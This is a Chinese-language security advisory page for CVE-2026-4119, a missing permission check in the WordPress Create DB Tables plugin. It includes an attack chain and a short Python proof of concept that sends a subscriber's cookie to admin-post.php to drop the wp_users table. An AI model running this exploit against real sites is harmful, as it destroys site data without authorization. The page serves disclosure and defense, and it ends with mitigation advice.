IPBUF安全漏洞报告
English
CVE-2026-4119 CVSS 9.1 严重

CVE-2026-4119 WordPress Create DB Tables权限绕过漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-4119
漏洞类型
权限绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Create DB Tables (WordPress Plugin)

相关标签

WordPress权限绕过SQL注入插件漏洞CVE-2026-4119

漏洞概述

WordPress Create DB Tables插件在1.2.1及之前版本中存在严重的权限绕过漏洞。由于插件未对数据库表创建和删除功能实施权限检查或Nonce验证,任何经过身份验证的攻击者(包括低权限的订阅者)均可调用相关函数。攻击者可利用此漏洞删除任意数据库表(如wp_users)或创建恶意表,从而完全破坏WordPress站点的完整性。

技术细节

该漏洞的核心原因在于插件使用了`admin_post`钩子来处理`add_table`和`delete_db_table`动作,但未在回调函数中调用`current_user_can()`来验证用户权限,也未使用`check_admin_referer()`进行请求令牌验证。`admin_post`机制仅要求用户处于登录状态。函数`cdbt_delete_db_table()`直接从`$_POST['db_table']`获取用户提供的表名,并将其拼接到`DROP TABLE` SQL语句中执行。这意味着任何拥有有效Cookie的登录用户均可发送恶意请求,指定删除WordPress核心表(如wp_users或wp_options),导致站点瘫痪。

攻击链分析

STEP 1
1. 信息收集
识别目标WordPress站点是否安装了Create DB Tables插件且版本小于等于1.2.1。
STEP 2
2. 获取凭证
在目标站点注册一个普通用户账号(如订阅者Subscriber),获取登录后的Session Cookie。
STEP 3
3. 漏洞利用
构造恶意POST请求发送至/wp-admin/admin-post.php,携带Cookie,参数action=delete_db_table及db_table=wp_users。
STEP 4
4. 执行攻击
服务器端因缺少权限校验,以当前用户身份执行DROP TABLE wp_users命令,导致用户表被删除。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target = 'http://target-wordpress-site.com/wp-admin/admin-post.php' # Cookie of a logged-in user (e.g., Subscriber) cookies = {'wordpress_logged_in_xxx': 'logged_in_cookie_value'} # Payload to delete the wp_users table data = { 'action': 'delete_db_table', 'db_table': 'wp_users' } response = requests.post(target, data=data, cookies=cookies) if response.status_code == 200: print("[+] PoC executed successfully. The table might be dropped.") else: print("[-] Failed to execute PoC.")

影响范围

Create DB Tables <= 1.2.1

防御指南

临时缓解措施
如果暂时无法升级插件,建议立即禁用该插件。同时,站长应检查数据库是否存在异常删除,并限制普通用户的注册权限或通过WAF拦截包含特定action参数的POST请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表